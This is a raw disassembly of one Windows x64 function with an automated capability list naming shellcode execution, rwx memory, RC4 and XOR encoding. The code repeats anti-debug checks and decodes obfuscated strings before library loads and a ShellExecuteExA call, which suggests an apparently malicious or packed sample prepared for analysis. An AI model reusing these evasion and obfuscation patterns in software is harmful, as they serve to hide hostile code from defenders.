Function at 0x14001418c
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140083070
sub rsp, rax
mov rax, qword [0x1400d3700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x48]
mov ebx, 0x137442a0
mov r13d, 0xa8712bc0
mov r12d, 0x3e9025c8
cmp rax, r13
jne 0x140014292
mov rcx, qword gs:[0]
xor edx, edx
mov eax, r13d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014272
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014272
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014292
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov edi, 0xa8712bc0
mov ecx, edi
call fcn.140001ab4
mov rax, qword gs:[0x48]
mov esi, 0xb505ee60
cmp rax, r13
jne 0x14001434d
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001432d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001432d
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001434d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
movabs r14, 0xea6d55ec6d6fb000
cmp rax, r13
jne 0x140014401
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400143e1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400143e1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014401
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov ecx, edi
call fcn.140013740
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400144c1
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400144a1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400144a1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400144c1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14001456b
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001454b
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001454b
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001456b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
lea rdx, [0x1400c6cf0]
lea rcx, [rbp + 0x998]
call fcn.140001478
mov rdx, rax
mov ecx, edi
call fcn.1400027d4
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140014641
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014621
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014621
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014641
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400146eb
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400146cb
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400146cb
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400146eb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov dword [rbp + 0x90], 0x9ba5d25a
mov dword [rbp + 0x94], 0x6052c7e2
mov word [rbp + 0x98], 0xaa
xor r15d, r15d
mov edi, r15d
movabs r14, 0x1a2e6bfe8
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140023b6c
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x140014718
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x48]
cmp rax, r13
movabs r14, 0xea6d55ec6d6fb000
jne 0x140014823
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014803
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014803
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014823
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x1400148cd
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400148ad
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400148ad
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400148cd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov dword [rbp + 0x1f0], 0xf06865fd
mov dword [rbp + 0x1f4], 0x8aca561f
mov dword [rbp + 0x1f8], 0xe578e2b6
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r14, 0x1a2e6bfe8
mov qword [rsp + 0x20], r14
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.1400237c8
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x140014900
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x48]
cmp rax, r13
movabs r14, 0xea6d55ec6d6fb000
jne 0x1400149fc
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400149dc
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400149dc
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400149fc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140013950
test eax, eax
jne 0x140014ca8
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400ac8d0
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140014b19
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400ac8d0
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0x75e8f89a
mov word [rbp - 0x6c], 0xba
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140023af8
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140014a89
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x14002344e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x140014b23
movabs rsi, 0x1a2e6bfe8
mov word [rsp + 0x78], 0xf4
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xf4
lea rcx, [rsp + 0x78]
call fcn.1400239a0
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.1400137d0
mov rbx, rax
movdqa xmm0, xmmword [0x1400c8ba0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400c8bf0]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xe29b10c4
mov dword [rbp + 0xc1c], 0x68595d55
mov dword [rbp + 0xc20], 0x9b9519dd
mov word [rbp + 0xc24], reloc.WLDAP32.dll_Ordinal_211
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140023a84
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140014ba8
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140024b18
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140024cd8
lea rcx, [rbp + 0x9d8]
call fcn.140024630
lea rcx, [rbp + 0x9b8]
call fcn.140024630
movdqa xmm0, xmmword [0x1400c8ce0]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 5
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140023580
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140014c41
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.140024284
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140014d52
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014d32
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014d32
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014d52
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140014e11
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014df1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014df1
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014e11
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140014ebb
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014e9b
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014e9b
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014ebb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140014f65
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014f45
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014f45
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140014f65
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14001501e
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140014ffe
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140014ffe
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001501e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
xor ecx, ecx
call fcn.14008ab44
mov rbx, rax
mov word [rsp + 0x7c], 0xaf
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xaf
lea rcx, [rsp + 0x7c]
call fcn.1400239a0
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0x25199094
mov word [rbp - 0x5c], 0x3b5f
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140023840
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, 6
jb 0x140015071
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.14008e024
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140015162
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015142
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015142
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015162
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14001521d
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, 0x137442a0
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400151fd
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400151fd
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001521d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov ecx, 2
call fcn.14008ab44
mov rbx, rax
mov word [rbp - 0x80], 0xaa
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0xaa
lea rcx, [rbp - 0x80]
call fcn.1400239a0
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0xf86a5ec1
mov dword [rbp - 0x34], 0xb5094d
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140023a10
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x14001526b
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.14008e024
mov rax, qword gs:[0x48]
cmp rax, r13
mov esi, 0xb505ee60
jne 0x140015360
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015340
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015340
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015360
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14001540a
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400153ea
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400153ea
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001540a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov ecx, 1
call fcn.14008ab44
mov rbx, rax
mov word [rbp - 0x7c], 0xaa
movabs r14, 0x1a2e6bfe8
mov qword [rsp + 0x20], r14
mov r9d, 1
xor r8d, r8d
mov dl, 0xaa
lea rcx, [rbp - 0x7c]
call fcn.1400239a0
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0xf86a5ec1
mov dword [rbp - 0x2c], 0xb5094d
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140023a10
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x140015458
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.14008e024
mov rax, qword gs:[0x48]
cmp rax, r13
movabs r14, 0xea6d55ec6d6fb000
mov ebx, 0x137442a0
jne 0x140015565
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015545
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015545
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015565
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14001560f
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400155ef
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400155ef
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001560f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8aa0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400c8af0]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400c8c80]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x1e016f3e
mov dword [rbp + 0xd4c], 0x19b94789
mov dword [rbp + 0xd50], 0x8299b472
mov word [rbp + 0xd54], 0x3120
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs rsi, 0x1a2e6bfe8
mov qword [rsp + 0x20], rsi
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.14002392c
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14001567b
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.14000131c
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x14001576c
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001574c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001574c
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001576c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
mov rax, qword gs:[0x48]
cmp rax, r13
jne 0x140015825
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r13
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140015805
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140015805
mov rcx, qword gs:[0]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140015825
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140089778
int3
movdqa xmm0, xmmword [0x1400c8c20]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400c8c00]
